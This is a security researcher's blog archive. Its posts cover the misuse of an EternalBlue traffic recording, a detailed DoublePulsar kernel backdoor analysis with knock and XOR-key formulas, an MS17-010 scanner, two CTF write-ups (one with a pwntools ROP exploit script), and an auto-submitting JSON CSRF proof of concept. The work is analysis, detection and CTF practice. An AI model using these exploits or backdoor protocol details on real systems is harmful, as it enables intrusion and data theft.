Friday, May 19, 2017

On the Misuse of Artifacts of Whitehat Research

The Metasploit module for EternalBlue was developed by myself and JennaMagius, previous community contributors of the project, and security researchers at RiskSense, a provider of pro-active cyber risk management solutions. The module was developed to enable security professionals to test their organization's vulnerability and susceptibility to attack via EternalBlue.

As part of our research, a recording of the network traffic that occurs when the FuzzBunch EternalBlue exploit is run was packet captured. The purpose of this recording was to help educate other security professionals, and get feedback as they worked through the process. This kind of approach is fairly common in both the security researcher and open source contributor communities, where transparent collaboration enables individuals to pool their expertise and achieve greater results.

It's possible that network data from this analysis was copied and rewritten by individuals with malicious intent; we cannot confirm if this is the case or not. Unfortunately, this is a risk that is taken whenever technical information and techniques are shared publicly. Nonetheless, we believe the educational and collaborative benefits generally outweigh the risk. We currently believe any overlap is an attempt to shift blame and obfuscate investigations by misdirecting authorities.

To our knowledge, no code from the Metasploit module was ever used in the WannaCry attacks, and once Dr.Krypt3ia's blog pointed out the possibility that some of the information may have been used by the attackers, we removed the recording from the GitHub repository to ensure no other bad actors would be able to do likewise to create variants of the malware.

Do note: there is nothing special about our research or recording, and an attacker can still create his or her own recording of FuzzBunch. It is important that non-technical people realize the recording used is simple to recreate, and was from the original NSA exploits. There are hundreds of FuzzBunch recordings that have been made available by other researchers.

Here's a summary of context and the technical details:

  1. On April 27th, JennaMagius created a recording of the network traffic that occurs when the FuzzBunch EternalBlue exploit is run. That recording was subsequently posted on a Metasploit GitHub issue. The recording included an IP that was used as a lab target of the original exploits.
  2. Recording the replay and playing it back works against freshly booted boxes because the Tree Connect AndX response will assign TreeID 2048 on the first few connections, after which it will move on to other tree IDs. This is the same for the user login request. The replay would then fail because the rest of the replay is using "2048" for the tree and user IDs, and the server has no idea what the client is talking about.
  3. On April 30th, JennaMagius published a slightly enhanced replay by substituting in the server provided TreeIDs and UserIDs. This was subsequently posted on GitHub (now removed).
  4. Research supplemented these findings by outlining that __USERID__PLACEHOLDER__ and __TREEID__PLACEHOLDER__ strings were also present in the malware.

Replaying ANY recording of EternalBlue will produce the same result, so the attackers may have chosen to use that particular recording to throw investigators off track. We have studied samples of other MS17-010 worms, where the authors created their own recordings. It is important to note that to our knowledge no code from the Metasploit module was ever used in the WannaCry attacks.

To be successful, the attackers independently implemented sending the network traffic in C; constructed additional code to interact with DoublePulsar (which is a significantly harder undertaking than just replaying the recorded traffic), implemented the rest of their malware (maybe before or after), and then released it on the world. The technical prowess displayed is enough to assume that the malware authors could and would have completed their worm without misusing elements of whitehat research.

A technical whitepaper will be made available at a later time. Rapid7 has also released a statement.

Friday, April 21, 2017

DoublePulsar Initial SMB Backdoor Ring 0 Shellcode Analysis

One week ago today, the Shadow Brokers (an unknown hacking entity) leaked the Equation Group's (NSA) FuzzBunch software, an exploitation framework similar to Metasploit. In the framework were several unauthenticated, remote exploits for Windows (such as the exploits codenamed EternalBlue, EternalRomance, and EternalSynergy). Many of the vulnerabilities that are exploited were fixed in MS17-010, perhaps the most critical Windows patch in almost a decade.

Side note: You can use my MS17-010 Metasploit auxiliary module to scan your networks for systems missing this patch (uncredentialed and non-intrusive). If a missing patch is found, it will also check for an existing DoublePulsar infection.

Introduction

For those unfamiliar, DoublePulsar is the primary payload used in SMB and RDP exploits in FuzzBunch. Analysis was performed using the EternalBlue SMBv1/SMBv2 exploit against Windows Server 2008 R2 SP1 x64.

The shellcode, in tl;dr fashion, essentially performs the following:

  • Step 0: Shellcode sorcery to determine if x86 or x64, and branches as such.
  • Step 1: Locates the IDT from the KPCR, and traverses backwards from the first interrupt handler to find ntoskrnl.exe base address (DOS MZ header).
  • Step 2: Reads ntoskrnl.exe's exports directory, and uses hashes (similar to usermode shellcode) to find ExAllocPool/ExFreePool/ZwQuerySystemInformation functions.
  • Step 3: Invokes ZwQuerySystemInformation() with the enum value SystemQueryModuleInformation, which loads a list of all drivers. It uses this to locate Srv.sys, an SMB driver.
  • Step 4: Switches the SrvTransactionNotImplemented() function pointer located at SrvTransaction2DispatchTable[14] to its own hook function.
  • Step 5: With secondary DoublePulsar payloads (such as inject DLL), the hook function sees if you "knock" correctly and allocates an executable buffer to run your raw shellcode. All other requests are forwarded directly to the original SrvTransactionNotImplemented() function. "Burning" DoublePulsar doesn't completely erase the hook function from memory, just makes it dormant.

After exploitation, you can see the missing symbol in the SrvTransaction2DispatchTable. There are supposed to be 2 handlers here with the SrvTransactionNotImplemented symbol. This is the DoublePulsar backdoor (array index 14):

Honestly, you don't usually wake up in the morning and feel like spending time dissecting ~3600 some odd bytes of Ring-0 shellcode, but I felt productive today. Also I was really curious about this payload and didn't see many details about it outside of Countercept's analysis of the DLL injection code. But I was interested in how the initial SMB backdoor is installed, which is what this post is about.

Zach Harding, Dylan Davis, and I kind of rushed through it in a few hours in our red team lab at RiskSense. There is some interesting setup in the EternalBlue exploit with the IA32_LSTAR syscall MSR (0xc000082) and a region of the Srv.sys containing FEFEs, but I will instead focus on just the raw DoublePulsar methodology... Much like the EXTRABACON shellcode, this one is crafty and does not simply spawn a shell.

Detailed Shellcode Analysis

Inside the Shadow Brokers dump you can find DoublePulsar.exe and EternalBlue.exe. When you use DoublePulsar in FuzzBunch, there is an option to spit its shellcode out to a file. We found out this is a red herring, and that the EternalBlue.exe contained its own payload.

Step 0: Determine CPU Architecture

The main payload is quite large because it contains shellcode for both x86 and x64. The first few bytes use opcode trickery to branch to the correct architecture (see my previous article on assembly architecture detection).

Here is how x86 sees the first few bytes.

You'll notice that inc eax means the je (jump equal/zero) instruction is not taken. What follows is a call and a pop, which is to get the current instruction pointer.

And here is how x64 sees it:

The inc eax byte is instead the REX preamble for a NOP. So the zero flag is still set from the xor eax, eax operation. Since x64 has RIP-relative addressing it doesn't need to get the RIP register.

The x86 payload is essentially the same thing as the x64 so this post only focuses on x64.

Since the NOP was a true NOP on x64, I overwrote the 40 90 with cc cc (int 3) using a hex editor. Interrupt 3 is how debuggers set software breakpoints.

Now when the system is exploited, our attached kernel debugger will automatically break when the shellcode starts executing.

Step 1: Find ntoskrnl.exe Base Address

Once the shellcode figures out it is x64 it begins to search for the base of ntoskrnl.exe. This is done with the following stub:

Fairly straightforward code. In user mode, the GS segment for x64 contains the Thread Information Block (TIB), which holds the Process Environment Block (PEB), a struct which contains all kinds of information about the current running process. In kernel mode, this segment instead contains the Kernel Process Control Region (KPCR), a struct which at offset zero actually contains the current process PEB.

This code grabs offset 0x38 of the KPCR, which is the "IdtBase" and contains a pointer struct of KIDTENTRY64. Those familiar with the x86 family will know this is the Interrupt Descriptor Table.

At offset 4 into the KIDENTRY64 struct you can get a function pointer to the interrupt handler, which is code defined inside of ntoskrnl.exe. From there it searches backwards in memory in 0x1000 increments (page size) for the .exe DOS MZ header (cmp bx, 0x5a4d).

Step 2: Locate Necessary Function Pointers

Once you know where the MZ header of a PE file is, you can peek into defined offsets for the export directory and get the relative virtual address (RVA) of any function you want. Userland shellcode does this all the time, usually to find necessary functions it needs out of ntdll.dll and kernel32.dll. Just like most userland shellcode, this ring 0 shellcode also uses a hashing algorithm instead of hard-coded strings in order to find the necessary functions.

The following functions are found:

ExAllocatePool can be used to create regions of executable memory, and ExFreePool can clean it up when done. These are important so the shellcode can allocate space for its hooks and other functions. ZwQuerySystemInformation is important in the next step.

Step 3: Locate Srv.sys SMB Driver

A feature of ZwQuerySystemInformation is a constant named SystemQueryModuleInformation, with the value 0xb. This gives a list of all loaded drivers in the system.

The shellcode then searched this list for two different hashes, and it landed on Srv.sys, which is one of the main drivers that SMB runs on.

The process here is basically equivalent to getting PEB->Ldr in userland, which lets you iterate loaded DLLs. Instead, it was looking for the SMB driver.

Step 4: Patch the SMB Trans2 Dispatch Table

Now that the DoublePulsar shellcode has the main SMB driver, it iterates over the .sys PE sections until it gets to the .data section.

Inside of the .data section is generally global read/write memory, and stored here is the SrvTransaction2DispatchTable, an array of function pointers that handle different SMB tasks.

The shellcode allocates some memory and copies over the code for its function hook.

Next the shellcode stores the function pointer for the dispatch named SrvTransactionNotImplemented() (so that it can call it from within the hook code). It then overwrites this member inside SrvTransaction2DispatchTable with the hook.

That's it. The backdoor is complete. Now it just returns up its own call stack and does some small cleanup chores.

Step 5: Send "Knock" and Raw Shellcode

Now when DoublePulsar sends its specific "knock" requests (which are seen as invalid SMB calls), the dispatch table calls the hooked fake SrvTransactionNotImplemented() function. Odd behavior is observed: normally the SMB response MultiplexID must match the SMB request MultiplexID, but instead it is incremented by a delta, which serves as a status code.

Operations are hidden in plain sight via steganography, which do not have proper dissectors in Wireshark.

The status codes (via MultiplexID delta) are:

  • 0x10 = success
  • 0x20 = invalid parameters
  • 0x30 = allocation failure

The opcode list is as follows:

  • 0x23 = ping
  • 0xc8 = exec
  • 0x77 = kill

You can tell which opcode was called by using the following algorithm:

t = SMB.Trans2.Timeout
op = (t) + (t >> 8) + (t >> 16) + (t >> 24);

Conversely, you can make the packet using this algorithm, where k is randomly generated:

op = 0x23
k = 0xdeadbeef
t = 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00

Sending a ping opcode in a Trans2 SESSION_SETUP request will yield a response that holds part of a XOR key that needs to be calculated for exec requests.

The "XOR key" algorithm is:

s = SMB.Signature1
x = 2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))

More shellcode can be sent with a Trans2 SESSION_SETUP request and exec opcode. The shellcode is sent in the "data payload" part of the packet 4096 bytes at a time, using the XOR key as a basic stream cipher. The backdoor will allocate an executable region of memory, decrypt and copy over the shellcode, and run it. The Inject DLL payload is simply some DLL loading shellcode prepended to the DLL you actually want to inject.

We can see the hook is installed at SrvTransaction2DispatchTable+0x70 (112/8 = index 14):

And of course the full disassembly listing.

Conclusion

There you have it, a highly sophisticated, multi-architecture SMB backdoor. The world probably did not need a remote Windows kernel payload this advanced being spammed across the Internet. It's an unique payload, because you can infect a system, lay low for a little bit, and come back later when you want to do something more intrusive. It also finds a nice place in the system to hide out and not alert built-in defenses like PatchGuard. It is unclear if newer versions of PatchGuard, such as those in Windows 10, already detect this hook. We can expect them to be added if not.

Usually we only get to see kernel shellcode in local exploits, as it swaps process tokens in order to privilege escalate. However, Microsoft does many networking things in the kernel, such as Srv.sys and HTTP.sys. The techniques demonstrated are in many ways completely analagous to how usermode shellcode operates during remote exploits.

If/when this gets ported over to Metasploit, I would probably not copy this verbatim, and rather skip the backdoor idea. It isn't the most secure thing to do, as it's not a big secret anymore and anyone else can come along and use your backdoor.

Here's what can be done instead:

  1. Obtain ntoskrnl.exe address in the same fashion as DoublePulsar, and read export directory for necessary functions to perform the next operations.
  2. Spawn a hidden process (such as notepad.exe).
  3. Queue an APC with Meterpreter payload.
  4. Resume process, and exit the kernel cleanly.

Every major malware family, from botnets to ransomware to banking spyware, will eventually add the exploits in the FuzzBunch toolkit to their arsenal. This payload is simply a mechanism to load more malware with full system privileges. It does not open new ports, or have any real encryption or other features to prevent others from taking advantage of the same hole, making the attribution game for digital forensic investigators even more difficult. This is a jewel compared to the scraps that were given to Stuxnet. It comes in a more dangerous era than the days of Conficker. Given the persistence of the missing MS08-067 patch, we could be in store for a decade of breaches emanating from MS17-010 exploits. It is the perfect storm for one of the most damaging malware infections in computing history.

Tuesday, April 18, 2017

MS17-010 (SMB RCE) Metasploit Scanner Detection Module

Update April 21, 2017 - There is an active pull request at Metasploit master which adds DoublePulsar infection detection to this module.

During the first Shadow Brokers leak, my colleagues at RiskSense and I reverse engineered and improved the EXTRABACON exploit, which I wrote a feature about for PenTest Magazine. Last Friday, Shadow Brokers leaked FuzzBunch, a Metasploit-like attack framework that hosts a number of Windows exploits not previously seen. Microsoft's official response says these exploits were fixed up in MS17-010, released in mid-March.

Yet again I find myself tangled up in the latest Shadow Brokers leak. I actually wrote a scanner to detect MS17-010 about 2-3 weeks prior to the leak, judging by the date on my initial pull request to Metasploit master. William Vu, of Rapid7 (and whom coincidentally I met in person the day of the leak), added some improvements as well. It was pulled into the master branch on the day of the leak. This module can be used to scan a network range (RHOSTS) and detect if the patch is missing or not.

Module Information Page
https://rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010

Module Source Code
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb

My scanner module connects to the IPC$ tree and attempts a PeekNamedPipe transaction on FID 0. If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the MS17-010 patch. After the patch, Win10 returns "STATUS_ACCESS_DENIED" and other Windows versions "STATUS_INVALID_HANDLE". In case none of these are detected, the module says it was not able to detect the patch level (I haven't seen this in practice).

IPC$ is the "InterProcess Communication" share, which generally does not require valid SMB credentials in default server configurations. Thus this module can usually be done as an unauthed scan, as it can log on as the user "\" and connect to IPC$.

This is the most important patch for Windows in almost a decade, as it fixes several remote vulnerabilities for which there are now public exploits (EternalBlue, EternalRomance, and EternalSynergy).

These are highly complex exploits, but the FuzzBunch framework essentially makes the process as easy as point and shoot. EternalRomance does a ridiculous amount of "grooming", aka remote heap feng shui. In the case of EternalBlue, it spawns numerous threads and simultaneously exploits SMBv1 and SMBv2, and seems to talk Cairo, an undocumented SMB LanMan alternative (only known because of the NT4 source code leaks). I haven't gotten around to looking at EternalSynergy yet.

I am curious to learn more, but have too many side projects at the moment to spend my full efforts investigating further. And unlike EXTRABACON, I don't see any "obvious" improvements other than I would like to see an open source version.

Saturday, November 26, 2016

Overflow Exploit Pattern Generator

Metasploit's pattern generator is a great tool, but Ruby's startup time is abysmally slow. Out of frustration, I made this in-browser online pattern generator written in JavaScript.

Generate Overflow Pattern


Find Overflow Offset

For the unfamiliar, this tool will generate a non-repeating pattern. You drop it into your exploit proof of concept. You crash the program, and see what the value of your instruction pointer register is. You type that value in to find the offset of how big your buffer should be overflowed before you hijack execution.

Sunday, November 6, 2016

Hack the Vote CTF "The Wall" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was "The Wall" challenge by itszn.

The Wall challenge clue:

The Trump campaign is running a trial of The Wall plan. They want to prove that no illegal immigrants could get past it. If that goes as planned, us here at the DNC will have a hard time swinging some votes in the southern boarder states. We need you to hack system and get past the wall. I heard they have put extra protections into place, but we think you can still do it. If you do get into America, there should be a flag somewhere in the midwest that you can have. You will be US "citizen" after all.

The challenge link was a tarball with a bunch of directories. Inside the /bin/ folder was an x64 ELF called "minetest", which is a Minecraft clone. I was pleased to see this was a video game challenge, having a fair amount of infamy for hacking online games in my past lives.

When you run the game, you log onto a server and are greeted with Trump's wall. It's yuuuge, spanning infinitely across the horizontal plane.

So the goal must be to get around this wall and into America. I tried a few naive approaches, as I just wanted to get something like a simple warp or run-through-wall type of cheat running, but alas there was an anti-cheat built into the game.

No problem, it wouldn't be the first time I've had to defeat an anti-cheat system. I started reversing a function called Client::handleCommand_CheatChallange() (sic):

I deduced this function was reading /proc/self/maps and running a SHA1 function on it. At first I was going to just overwrite this function to make it give the expected SHA1, but then I started backing up and found this function was only called when you first joined the server. So all that was needed to bypass the anti-cheat was to delay load however I planned to cheat.

Poking around the game and binary some more, I noticed there was a "fly" mode, that my client didn't have the privilege from the server for:

Well, my client still has the code for flying even if the server says I don't have the privilege. I found a function called Client::checkLocalPrivilege(). The function takes a C++ std::string of a privilege (such as fly) and returns a bool.

Yea, this guy's doing way too much work for me. Time to patch it with the following assembly:

inc eax   ; ff c0
ret       ; c3  
nop       ; 90

This will make the function always return true when my client checks if I have access to a certain privilege. After logging into the server, I attached to my client with GDB and patched my new assembly into the privilege check function:

Now that I could fly, I noticed the wall also grew infinitely vertical. Fortunately, from way up high I was able to glitch through the wall.

I made it!

I wandered through the desert for 40 days and 40 night cycles.

No really, I wandered a long time. I should also mention disabling the privilege checks gives access to a speed hack, but it was a little glitchy and the server kept warping me backwards.

I was starting to get worried, when all of a sudden I saw beautiful Old Glory off in the distance.

Hack the Vote CTF "IRS" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was the "IRS" challenge by pigeon.

IRS challenge clue:

Good day fellow Americans. In the interest of making filing your tax returns as easy and painless as possible, we've created this nifty lil' program to better serve you! Simply enter your name and file away! And don't you worry, everyone's file is password protected ;)

We get a pwnable x86 ELF Linux binary with non-executable stack. There's also details for a server to ncat to to exploit it.

The program contains about 10 functions that are relatively straightforward about what they do just going off the strings. Exploring the program, there is a blatant address leak when there is an attempt to create more than 5 total users in the system.

This %p is given to puts(). It dereferences to a pointer address that is the start of an array of structs which hold IRS tax return data. Here is the initialization code for Trump's struct:

Note that Trump's password is "not_the_flag" here, but on the server it will be the flag.

Preceding Trump's struct construction is a call to malloc() with 108 bytes, and throughout the program we only see 4 distinct fields. So the completed struct most likely is:

struct IRS_Data
{
    char name[50];
    char pass[50];
    int32_t income;
    int32_t deductibles;
};

In a function which I named edit_tax_return(), there is a call to gets(). This is a highly vulnerable C function that writes to a buffer from stdin with no constraints on length, and thus should probably never be used.

The exploitation process can be pretty simple if you take advantage of other functions present in the binary.

  1. Create enough users to leak the user array pointer
  2. Overflow the gets() in edit_tax_return() with a ROP chain
  3. ROP #1 calls view_tax_return() with the leaked pointer and index 0 (a.k.a. Trump)
  4. ROP #2 cleanly returns back to the start of main()
#!/usr/bin/env python2
from pwn import *

#r = remote("irs.pwn.republican", 4127)
r = process('./irs.4ded.3360.elf')

r.send("1\n"*21)                # create a bunch of fake users
r.recvuntil("0x")               # get the leaked %p address

database_addr = int(r.recvline().strip(), 16)
log.success("Got leaked address %08x" % database_addr)

r.send("3\n"+"1\n"*4)           # edit a known user record

overflow = "A"*25
overflow += p32(0x0804892C)     # print_tax_return(pDB, i)
overflow += p32(0x08048a39)     # main(void), safe return
overflow += p32(database_addr)  # pDB
overflow += p32(0x00000000)     # i

r.send(overflow + "\n")         # 08048911    call    gets

r.recvuntil("Password: ")       # print_tax_return() Trump password

flag = r.recvline().split(" ")[0]
log.success(flag)

Monday, September 19, 2016

CSRF Attack for JSON-encoded Endpoints

Sometimes you see a possible Cross-Site Request Forgery (CSRF) attack against JSON endpoints, where data is a JSON blob instead of x-www-form-urlencoded data.

Here is a PoC that will send a JSON CSRF.

<html> 
    <form action="http://127.0.0.1/json" method="post" 
        enctype="text/plain" name="jsoncsrf"> 
        <input 
            name='{"json":{"nested":"obj"},"list":["0","1"]}' 
            type='hidden'> 
    </form> 
    <script>
         document.jsoncsrf.submit()
    </script>
</html>

You can use any JSON including nested objects, lists, etc.

The previous example adds a trailing equal sign =, which will break some parsers. You can get around it with:

<input name='{"json":"data","extra' value='":"stuff"}' 
    type='hidden'> 

Which will give the following JSON:

{"json":"data","extra=":"stuff"}